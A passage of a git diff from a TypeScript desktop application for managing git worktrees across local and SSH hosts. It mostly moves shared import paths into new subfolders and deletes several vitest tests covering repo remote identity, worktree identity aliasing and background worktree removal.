() => { let answer: ((value: GitRemoteIdentityProbe) => void) | undefined @@ -147,27 +85,3 @@ it('does not write after a pending local probe becomes peer-owned', async () => expect(row.repoIcon).toBe(originalIcon) expect(store.updateRepo).not.toHaveBeenCalled() }) - -it('does not overwrite a custom icon selected while the probe is pending', async () => { - let answer: ((value: GitRemoteIdentityProbe) => void) | undefined - const row = repo({ gitRemoteIdentity: undefined }) - const store = storeFor([row]) - vi.mocked(probeGitRemoteIdentity).mockImplementation( - () => - new Promise((resolve) => { - answer = resolve - }) - ) - enrichMissingRepoGitRemoteIdentities(store) - const selected: RepoIcon = { type: 'emoji', emoji: '🐙' } - row.repoIcon = selected - if (!answer) { - throw new Error('Expected pending probe') - } - answer({ status: 'resolved', identity: identity() }) - await flushRepoGitRemoteIdentityEnrichmentForTests() - expect(row.repoIcon).toBe(selected) - expect(store.updateRepo).toHaveBeenCalledWith(repoTarget('app', 'local'), { - gitRemoteIdentity: identity() - }) -}) diff --git a/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts b/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts index 339e4af0a53..051a5cd364f 100644 --- a/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts +++ b/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts @@ -1,5 +1,5 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { GitRemoteIdentity } from '../../../shared/git/remotes/git-remote-identity' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' @@ -86,12 +86,6 @@ function deferred(): { const REFRESH_STARTUP_DELAY_MS = 5 * 60 * 1000 -const movedIdentity: GitRemoteIdentity = { - canonicalKey: 'git.company.test/platform/sample-app', - remoteName: 'upstream', - remoteUrl: 'git@git.company.test:platform/sample-app.git' -} - async function drainEnrichmentSweep(): Promise { for (let attempt = 0; attempt < 8; attempt += 1) { await flushRepoGitRemoteIdentityEnrichmentForTests() @@ -154,45 +148,6 @@ describe('enrichMissingRepoGitRemoteIdentities', () => { expect(repo.gitRemoteIdentity).toBeUndefined() }) - it('overwrites a resolved identity when the re-probe finds a different canonical key', async () => { - vi.useFakeTimers() - vi.setSystemTime(1_000) - vi.mocked(probeGitRemoteIdentity).mockResolvedValue({ - status: 'resolved', - identity: movedIdentity - }) - const repo = makeRepo({ gitRemoteIdentity: remoteIdentity }) - const store = makeStore(repo) - const onChanged = vi.fn() - - await sweep(store) - vi.setSystemTime(1_000 + REFRESH_STARTUP_DELAY_MS + 1) - enrichMissingRepoGitRemoteIdentities(store, { onChanged }) - await drainEnrichmentSweep() - - expect(store.updateRepo).toHaveBeenCalledWith(repoTarget('repo-1', 'local'), { - gitRemoteIdentity: movedIdentity - }) - expect(repo.gitRemoteIdentity).toEqual(movedIdentity) - expect(onChanged).toHaveBeenCalledTimes(1) - }) - - it('keeps the existing identity when a re-probe cannot reach the host', async () => { - vi.useFakeTimers() - vi.setSystemTime(1_000) - vi.mocked(probeGitRemoteIdentity).mockResolvedValue({ status: 'unavailable' }) - const repo = makeRepo({ connectionId: 'builder', gitRemoteIdentity: remoteIdentity }) - const store = makeStore(repo) - - await sweep(store) - vi.setSystemTime(1_000 + REFRESH_STARTUP_DELAY_MS + 1) - await sweep(store) - - expect(probeGitRemoteIdentity).toHaveBeenCalledTimes(1) - expect(store.updateRepo).not.toHaveBeenCalled() - expect(repo.gitRemoteIdentity).toEqual(remoteIdentity) - }) - it('keeps the existing identity when a re-probe reports no usable remote', async () => { vi.useFakeTimers() vi.setSystemTime(1_000) diff --git a/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.ts b/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.ts index ff9226e7331..01a4cc16b97 100644 --- a/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.ts +++ b/src/main/workspaces/catalog/repo-git-remote-identity-enrichment.ts @@ -3,7 +3,7 @@ import { getRepoSshConnectionId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' import { githubAvatarIcon, type RepoIcon } from '../../../shared/repository/appearance/repo-icon' diff --git a/src/main/workspaces/catalog/repo-git-remote-identity.ts b/src/main/workspaces/catalog/repo-git-remote-identity.ts index 6ed2f964868..eada5df895b 100644 --- a/src/main/workspaces/catalog/repo-git-remote-identity.ts +++ b/src/main/workspaces/catalog/repo-git-remote-identity.ts @@ -1,4 +1,7 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { deriveGitRemoteIdentity, diff --git a/src/main/workspaces/catalog/repo-git-username-enrichment.ts b/src/main/workspaces/catalog/repo-git-username-enrichment.ts index 0a2408ee47c..5243fcbba6d 100644 --- a/src/main/workspaces/catalog/repo-git-username-enrichment.ts +++ b/src/main/workspaces/catalog/repo-git-username-enrichment.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { resolveLocalGitUsernameDetailed } from '../../git/repositories/git-username' import { blockedWslDistroForPath, wslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate' diff --git a/src/main/workspaces/catalog/repo-worktree-catalog-owner.ts b/src/main/workspaces/catalog/repo-worktree-catalog-owner.ts index 7c5f537fe14..4f421faa8ba 100644 --- a/src/main/workspaces/catalog/repo-worktree-catalog-owner.ts +++ b/src/main/workspaces/catalog/repo-worktree-catalog-owner.ts @@ -1,5 +1,5 @@ import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { areWorktreePathsEqual } from '../../git/worktrees/catalog/worktree-path-comparison' import { onWorktreeScanGenerationBump } from '../../git/worktrees/catalog/worktree-scan-cache' import { preserveFolderUpgradeWorktreePath } from './folder-upgrade-worktree-path' diff --git a/src/main/workspaces/catalog/repo-worktrees.ts b/src/main/workspaces/catalog/repo-worktrees.ts index b645a0f41e6..e0dbedd2aa3 100644 --- a/src/main/workspaces/catalog/repo-worktrees.ts +++ b/src/main/workspaces/catalog/repo-worktrees.ts @@ -8,7 +8,10 @@ import { } from '../../git/worktrees/catalog/worktree-scan-cache' import { listWorktreesStrict } from '../../git/worktrees/catalog/worktree-listing' import { isFolderRepo } from '../../../shared/repository/repo-kind' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { resolveGitRouteForHost } from '../../providers/execution-host-provider-dispatch' import { areWorktreePathsEqual } from '../../git/worktrees/catalog/worktree-path-comparison' import { WorktreeCatalogUnavailableError } from '../../../shared/worktree/catalog/worktree-catalog-availability' diff --git a/src/main/workspaces/catalog/worktree-identity-persistence.test.ts b/src/main/workspaces/catalog/worktree-identity-persistence.test.ts index f5e485e846b..967d3393ff4 100644 --- a/src/main/workspaces/catalog/worktree-identity-persistence.test.ts +++ b/src/main/workspaces/catalog/worktree-identity-persistence.test.ts @@ -2,8 +2,8 @@ import { afterEach, beforeEach, describe, expect, it } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import type { PersistedState } from '../../../shared/persisted-state-types' -import { canonicalWorktreeIdentity } from '../../../shared/worktree/identity' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' +import '../../../shared/worktree/identity' import { composeWorktreeHostIdentity, hostWorktreeTarget @@ -20,7 +20,6 @@ import { removeWorktreeMetaRow } from '../../persistence/host-qualified-worktree describe('host-qualified worktree metadata', () => { const worktreeId = 'repo-1::/workspace/feature' - const ROTATED_INSTANCE_ID = '44444444-4444-4444-8444-444444444444' // Register the repo so load-time orphan cleanup retains its metadata. const createStoreWithRepo = (): Store => { @@ -79,50 +78,6 @@ describe('host-qualified worktree metadata', () => { expect(migrated.worktreeMeta[worktreeId]?.hostId).toBe('local') expect(Object.keys(migrated.worktreeMetaByIdentity ?? {})).toHaveLength(1) }) - it('collapses an ambiguous locator onto its most recently active instance', () => { - const seed = createStoreWithRepo() - const first = seed.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { - displayName: 'First' - }) - seed.flush() - const persisted = readDataFile() as PersistedState - const alias = composeWorktreeHostIdentity('local', worktreeId) - const secondKey = canonicalWorktreeIdentity({ - worktreeId, - executionHostId: 'local', - instanceId: '33333333-3333-4333-8333-333333333333' - }) - persisted.worktreeMetaByIdentity ??= {} - persisted.worktreeIdentityAliases ??= {} - persisted.worktreeMetaByIdentity[secondKey] = { - ...first, - instanceId: '33333333-3333-4333-8333-333333333333', - displayName: 'Second', - lastActivityAt: 1 - } - persisted.worktreeIdentityAliases[alias] = [ - ...(persisted.worktreeIdentityAliases[alias] ?? []), - secondKey - ] - writeDataFile(persisted) - - const store = createStore() - expect(() => - store.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { - comment: 'ambiguous write' - }) - ).toThrow('Worktree identity is ambiguous for this host and locator.') - - const repaired = createStore() - expect(repaired.getWorktreeMetaForHost(worktreeId, 'local')?.displayName).toBe('Second') - repaired.flush() - const afterRead = readDataFile() as PersistedState - expect(afterRead.worktreeIdentityAliases?.[alias]).toEqual([ - persisted.worktreeIdentityAliases?.[alias]?.[0], - secondKey - ]) - expect(Object.keys(afterRead.worktreeMetaByIdentity ?? {})).toHaveLength(2) - }) it('removes only the selected host metadata when locators collide', () => { const store = createStore() @@ -143,56 +98,6 @@ describe('host-qualified worktree metadata', () => { ).toHaveLength(1) }) - it('moves the locator alias without changing canonical identity', () => { - const store = createStore() - const meta = store.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { - displayName: 'Feature' - }) - const identityKey = canonicalWorktreeIdentity({ - worktreeId, - executionHostId: 'local', - instanceId: meta.instanceId! - }) - const renamedId = 'repo-1::/workspace/renamed-feature' - - store.migrateWorktreeIdentity( - hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), - renamedId - ) - - expect(store.getWorktreeMetaForHost(worktreeId, 'local')).toBeUndefined() - expect(store.getWorktreeMetaForHost(renamedId, 'local')?.instanceId).toBe(meta.instanceId) - store.flush() - const persisted = readDataFile() as PersistedState - expect(persisted.worktreeMetaByIdentity?.[identityKey]?.displayName).toBe('Feature') - expect( - persisted.worktreeIdentityAliases?.[composeWorktreeHostIdentity('local', renamedId)] - ).toEqual([identityKey]) - }) - it('honours a deliberate instanceId rotation instead of pinning the stored one', () => { - const store = createStore() - store.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { - displayName: 'Feature' - }) - - // A proven-missing parent rotates its identity so path reuse cannot validate old lineage. - const rotated = store.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { - instanceId: ROTATED_INSTANCE_ID - }) - - expect(rotated.instanceId).toBe(ROTATED_INSTANCE_ID) - expect(store.getWorktreeMetaForHost(worktreeId, 'local')?.instanceId).toBe(ROTATED_INSTANCE_ID) - store.flush() - const persisted = readDataFile() as PersistedState - expect(Object.keys(persisted.worktreeMetaByIdentity ?? {})).toEqual([ - canonicalWorktreeIdentity({ - worktreeId, - executionHostId: 'local', - instanceId: ROTATED_INSTANCE_ID - }) - ]) - }) - it('drops every host identity row once each host removes its copy', () => { const store = createStore() store.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: 'local' }), { @@ -274,40 +179,4 @@ describe('host-qualified worktree metadata', () => { persisted.worktreeIdentityAliases?.[composeWorktreeHostIdentity(newHostId, worktreeId)] ).toHaveLength(1) }) - - it('deduplicates an equivalent destination during SSH target re-adoption', () => { - const oldHostId = 'ssh:old-target' as const - const newHostId = 'ssh:new-target' as const - const seed = createStoreWithRepo() - seed.setWorktreeMeta(hostWorktreeTarget({ id: worktreeId, hostId: oldHostId }), { - displayName: 'Remote feature' - }) - seed.flush() - const persisted = readDataFile() as PersistedState - const oldAlias = composeWorktreeHostIdentity(oldHostId, worktreeId) - const oldKey = persisted.worktreeIdentityAliases?.[oldAlias]?.[0] - const source = oldKey ? persisted.worktreeMetaByIdentity?.[oldKey] : undefined - expect(source?.instanceId).toBeTruthy() - const newAlias = composeWorktreeHostIdentity(newHostId, worktreeId) - const newKey = canonicalWorktreeIdentity({ - worktreeId, - executionHostId: newHostId, - instanceId: source!.instanceId! - }) - persisted.worktreeMetaByIdentity ??= {} - persisted.worktreeIdentityAliases ??= {} - persisted.worktreeMetaByIdentity[newKey] = { ...source!, hostId: newHostId } - persisted.worktreeIdentityAliases[newAlias] = [newKey] - writeDataFile(persisted) - - const store = createStore() - store.reassignSshTargetId('old-target', 'new-target') - store.flush() - - const deduped = readDataFile() as PersistedState - expect(deduped.worktreeIdentityAliases?.[oldAlias]).toBeUndefined() - expect(deduped.worktreeIdentityAliases?.[newAlias]).toEqual([newKey]) - expect(deduped.worktreeMetaByIdentity?.[oldKey!]).toBeUndefined() - expect(deduped.worktreeMetaByIdentity?.[newKey]).toEqual({ ...source!, hostId: newHostId }) - }) }) diff --git a/src/main/workspaces/catalog/worktree-lineage-host-peers.ts b/src/main/workspaces/catalog/worktree-lineage-host-peers.ts index 60fdd612206..fddc42aaeea 100644 --- a/src/main/workspaces/catalog/worktree-lineage-host-peers.ts +++ b/src/main/workspaces/catalog/worktree-lineage-host-peers.ts @@ -1,6 +1,6 @@ import type { Worktree } from '../../../shared/worktree/types' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId, splitWorktreeId } from '../../../shared/worktree/id' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { diff --git a/src/main/workspaces/catalog/worktree-lineage-pruning.ts b/src/main/workspaces/catalog/worktree-lineage-pruning.ts index 4a9848eb775..57f35bcb58e 100644 --- a/src/main/workspaces/catalog/worktree-lineage-pruning.ts +++ b/src/main/workspaces/catalog/worktree-lineage-pruning.ts @@ -2,7 +2,7 @@ import { randomUUID } from 'node:crypto' import type { Repo } from '../../../shared/repository/repo-types' import type { WorkspaceLineage, WorktreeLineage } from '../../../shared/worktree/lineage-types' import type { GitWorktreeInfo } from '../../../shared/worktree/types' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { isWorkspaceKey, parseWorkspaceKey diff --git a/src/main/workspaces/catalog/worktree-metadata-ownership.ts b/src/main/workspaces/catalog/worktree-metadata-ownership.ts index 37a255c3ffd..3a1e89f8dc4 100644 --- a/src/main/workspaces/catalog/worktree-metadata-ownership.ts +++ b/src/main/workspaces/catalog/worktree-metadata-ownership.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/workspaces/cleanup/workspace-cleanup-run-evidence.ts b/src/main/workspaces/cleanup/workspace-cleanup-run-evidence.ts index 23a633f038a..bd7051df0fe 100644 --- a/src/main/workspaces/cleanup/workspace-cleanup-run-evidence.ts +++ b/src/main/workspaces/cleanup/workspace-cleanup-run-evidence.ts @@ -10,7 +10,7 @@ import { isRepoOnCatalogHost, LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { RuntimeWorktreePsSummary } from '../../../shared/worktree/catalog/runtime-worktree-contracts' import { getPersistedWorkspaceCleanupActivityAt, diff --git a/src/main/workspaces/cleanup/workspace-cleanup-scan-snapshot.ts b/src/main/workspaces/cleanup/workspace-cleanup-scan-snapshot.ts index 9973d6253cd..d690d353b26 100644 --- a/src/main/workspaces/cleanup/workspace-cleanup-scan-snapshot.ts +++ b/src/main/workspaces/cleanup/workspace-cleanup-scan-snapshot.ts @@ -10,7 +10,7 @@ import { withSidecarSnapshotQueue, writeSidecarSnapshot } from '../../filesystem/sidecar-snapshot-file' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { activeWorkspaceSnapshotPruneKeys, registerWorkspaceSnapshotPrunesForFile, diff --git a/src/main/workspaces/cleanup/workspace-snapshot-prune-index.ts b/src/main/workspaces/cleanup/workspace-snapshot-prune-index.ts index 2d9f49901b4..425a87b91c9 100644 --- a/src/main/workspaces/cleanup/workspace-snapshot-prune-index.ts +++ b/src/main/workspaces/cleanup/workspace-snapshot-prune-index.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' export type WorkspaceSnapshotPruneTarget = { worktreeId: string diff --git a/src/main/workspaces/creation/preparation/worktree-create-preparation-project-removal.ts b/src/main/workspaces/creation/preparation/worktree-create-preparation-project-removal.ts index 0b2c20bc122..28eeb6303bd 100644 --- a/src/main/workspaces/creation/preparation/worktree-create-preparation-project-removal.ts +++ b/src/main/workspaces/creation/preparation/worktree-create-preparation-project-removal.ts @@ -2,7 +2,7 @@ import { worktreePreparationGit } from '../../../git/worktrees/creation/worktree import type { AddWorktreeOptions } from '../../../git/worktrees/worktree-operation-options' import type { Repo } from '../../../../shared/repository/repo-types' import { isFolderRepo } from '../../../../shared/repository/repo-kind' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import { getLocalProjectWorktreeGitOptions } from '../../execution-host/project-runtime-git-options' import type { ProjectRuntimeResolutionStore } from '../../execution-host/local-project-runtime-resolution' import { discardRepoPreparations } from './worktree-create-preparation-pool' diff --git a/src/main/workspaces/creation/preparation/worktree-create-preparation.ts b/src/main/workspaces/creation/preparation/worktree-create-preparation.ts index 0988c7facca..b9be345647e 100644 --- a/src/main/workspaces/creation/preparation/worktree-create-preparation.ts +++ b/src/main/workspaces/creation/preparation/worktree-create-preparation.ts @@ -53,7 +53,7 @@ import { import { toHostFilesystemPath } from '../../../filesystem/host-tree-removal' import type { WorktreeCreateTimingRecorder } from '../worktree-create-timing' -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' export function hasPendingWorktreeCreatePreparations(): boolean { return hasPendingPreparations() diff --git a/src/main/workspaces/creation/reserved-worktree-path.ts b/src/main/workspaces/creation/reserved-worktree-path.ts index 8601ec11a1b..0155f010577 100644 --- a/src/main/workspaces/creation/reserved-worktree-path.ts +++ b/src/main/workspaces/creation/reserved-worktree-path.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { splitWorktreeId } from '../../../shared/worktree/id' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/workspaces/creation/worktree-create-execution-host-route.ts b/src/main/workspaces/creation/worktree-create-execution-host-route.ts index 1d50677aab9..133199ee699 100644 --- a/src/main/workspaces/creation/worktree-create-execution-host-route.ts +++ b/src/main/workspaces/creation/worktree-create-execution-host-route.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, type LOCAL_EXECUTION_HOST_ID -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { ExecutionHostNotDispatchableError, diff --git a/src/main/workspaces/creation/worktree-create-first-work-test-harness.ts b/src/main/workspaces/creation/worktree-create-first-work-test-harness.ts index b7ba94b948e..416546904f2 100644 --- a/src/main/workspaces/creation/worktree-create-first-work-test-harness.ts +++ b/src/main/workspaces/creation/worktree-create-first-work-test-harness.ts @@ -2,7 +2,7 @@ import { vi, type Mock } from 'vitest' import type { CreateWorktreeArgs } from '../../../shared/worktree/create-types' import type { Worktree } from '../../../shared/worktree/types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { firstWorkRenameDeps } from '../../agent-hooks/first-work/first-work-rename-runtime' import { maybeAutoRenameBranchOnFirstWork, diff --git a/src/main/workspaces/creation/worktree-root-preparation.ts b/src/main/workspaces/creation/worktree-root-preparation.ts index 47c461e7077..0c47bc0e62f 100644 --- a/src/main/workspaces/creation/worktree-root-preparation.ts +++ b/src/main/workspaces/creation/worktree-root-preparation.ts @@ -1,7 +1,10 @@ import { mkdir } from 'node:fs/promises' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { computeWorkspaceRootAsync, getWorktreePathSettings } from '../../ipc/worktree-logic' import { getWorktreeMirrorDistro } from '../execution-host/project-runtime-git-options' diff --git a/src/main/workspaces/execution-host/local-project-runtime-pty-options.ts b/src/main/workspaces/execution-host/local-project-runtime-pty-options.ts index b61bf0f0fd3..7c5199d69ce 100644 --- a/src/main/workspaces/execution-host/local-project-runtime-pty-options.ts +++ b/src/main/workspaces/execution-host/local-project-runtime-pty-options.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { ProjectExecutionRuntimeResolution } from '../../../shared/execution-host/project-execution-runtime' import { resolveLocalWindowsTerminalRuntimeOptions, diff --git a/src/main/workspaces/execution-host/local-project-runtime-resolution.ts b/src/main/workspaces/execution-host/local-project-runtime-resolution.ts index 8d537beebdc..5bb0db09512 100644 --- a/src/main/workspaces/execution-host/local-project-runtime-resolution.ts +++ b/src/main/workspaces/execution-host/local-project-runtime-resolution.ts @@ -1,5 +1,5 @@ import type { Store } from '../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Project } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' @@ -29,7 +29,7 @@ import { getConnectionExecutionHostId, getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' // Structural typing lets narrowed runtime stores use the same resolution as workspace creation. export type ProjectRuntimeResolutionStore = { diff --git a/src/main/workspaces/execution-host/project-runtime-git-router.ts b/src/main/workspaces/execution-host/project-runtime-git-router.ts index 26e2d12d6b1..499ac245f02 100644 --- a/src/main/workspaces/execution-host/project-runtime-git-router.ts +++ b/src/main/workspaces/execution-host/project-runtime-git-router.ts @@ -9,9 +9,12 @@ import { win32 } from 'node:path' import { readFileSync, realpathSync, statSync } from 'node:fs' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { resolveProjectExecutionRuntime } from '../../../shared/execution-host/project-execution-runtime' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Project } from '../../../shared/project/project-types' import { isFolderRepo } from '../../../shared/repository/repo-kind' import type { Repo } from '../../../shared/repository/repo-types' diff --git a/src/main/workspaces/execution-host/repo-execution-host.ts b/src/main/workspaces/execution-host/repo-execution-host.ts index c0c325bf03c..99f4eb80285 100644 --- a/src/main/workspaces/execution-host/repo-execution-host.ts +++ b/src/main/workspaces/execution-host/repo-execution-host.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeHostPart, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { requireReachableGitRoute } from '../../providers/execution-host-provider-dispatch' import { SshHostNotServedError } from '../../providers/ssh-host-not-served-error' diff --git a/src/main/workspaces/removal/folder-workspace-archive-hook.ts b/src/main/workspaces/removal/folder-workspace-archive-hook.ts index 8016aab92df..8947e777c9e 100644 --- a/src/main/workspaces/removal/folder-workspace-archive-hook.ts +++ b/src/main/workspaces/removal/folder-workspace-archive-hook.ts @@ -1,4 +1,4 @@ -import { isRepoOnCatalogHost } from '../../../shared/execution-host' +import { isRepoOnCatalogHost } from '../../../shared/execution-host/execution-host' import type { WorkspaceHookOwner } from '../../../shared/workspace-setup/hooks/workspace-hook-owner' import type { Repo } from '../../../shared/repository/repo-types' import type { ArchiveHookOverride } from '../../../shared/worktree/removal/archive-hook-removal-gate' diff --git a/src/main/workspaces/removal/retirement/worktree-name-retirement.ts b/src/main/workspaces/removal/retirement/worktree-name-retirement.ts index 6fb7fb948d6..281a425d7b4 100644 --- a/src/main/workspaces/removal/retirement/worktree-name-retirement.ts +++ b/src/main/workspaces/removal/retirement/worktree-name-retirement.ts @@ -3,7 +3,7 @@ import { isRuntimeOwnedSshTargetId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { EMPTY_RETIRED_NAME_REGISTRY, isEmptyRetiredNameRegistry, @@ -11,7 +11,7 @@ import { type RetiredNameRegistry } from '../../../../shared/worktree/naming/retired-name-registry' import { isFolderRepo } from '../../../../shared/repository/repo-kind' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import { computeRemoteWorktreePath, diff --git a/src/main/workspaces/removal/retirement/worktree-retirement-namespace.ts b/src/main/workspaces/removal/retirement/worktree-retirement-namespace.ts index 301d9be873a..fec04bd6005 100644 --- a/src/main/workspaces/removal/retirement/worktree-retirement-namespace.ts +++ b/src/main/workspaces/removal/retirement/worktree-retirement-namespace.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { mergeRetiredNameRegistries, type RetiredNameRegistry diff --git a/src/main/workspaces/removal/worktree-background-removal.test.ts b/src/main/workspaces/removal/worktree-background-removal.test.ts index c39cbe0f0ce..f4221fb0536 100644 --- a/src/main/workspaces/removal/worktree-background-removal.test.ts +++ b/src/main/workspaces/removal/worktree-background-removal.test.ts @@ -2,7 +2,7 @@ import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { _resetPendingWorktreeRemovalsForTests, _settlePendingWorktreeRemovalsForTests, @@ -16,7 +16,7 @@ import { projectPendingWorktreeRemovals, snapshotPendingWorktreeRemovals } from './worktree-removal-listing' -import { assertNoPendingWorktreeRemovalConflict } from './worktree-removal-table' +import './worktree-removal-table' const removal = { worktreeId: 'repo-1::/work/feature', @@ -49,28 +49,6 @@ describe('background worktree removal', () => { await rm(directory, { recursive: true, force: true }) }) - it('resolves with the delete result once Git finishes, after the row has left the table', async () => { - const git = deferred<{ preservedBranch: { branchName: string; head: string } }>() - const pendingAtPublish: boolean[] = [] - const result = startBackgroundWorktreeRemoval({ - removal, - run: () => git.promise, - publish: () => pendingAtPublish.push(isPending()) - }) - - expect(isPending()).toBe(true) - await waitForWorktreeRemovalAcceptance(removal.worktreeId) - expect(pendingAtPublish).toEqual([true]) - - git.resolve({ preservedBranch: { branchName: 'feature', head: 'abc' } }) - await expect(result).resolves.toEqual({ - preservedBranch: { branchName: 'feature', head: 'abc' } - }) - await _settlePendingWorktreeRemovalsForTests() - expect(isPending()).toBe(false) - expect(pendingAtPublish).toEqual([true, false]) - }) - it('joins concurrent requests to the one recorded deletion', async () => { // The desktop IPC and runtime RPC removal paths coalesce separately, so both can be accepted. const first = deferred>() @@ -105,37 +83,6 @@ describe('background worktree removal', () => { expect(isPending()).toBe(false) }) - it('refuses a create at the same path or branch while Git deletes', async () => { - const git = deferred>() - void startBackgroundWorktreeRemoval({ - removal, - run: () => git.promise, - publish: () => {} - }) - - expect(() => - assertNoPendingWorktreeRemovalConflict('/work/repo', { worktreePath: '/work/feature' }) - ).toThrow('Cleanup is pending; try again shortly.') - expect(() => - assertNoPendingWorktreeRemovalConflict('/work/repo', { branch: 'refs/heads/feature' }) - ).toThrow('Cleanup is pending; try again shortly.') - expect(() => - assertNoPendingWorktreeRemovalConflict('/work/other-repo', { branch: 'feature' }) - ).not.toThrow() - expect(() => - assertNoPendingWorktreeRemovalConflict('/work/repo', { - worktreePath: '/work/feature-2', - branch: 'feature-2' - }) - 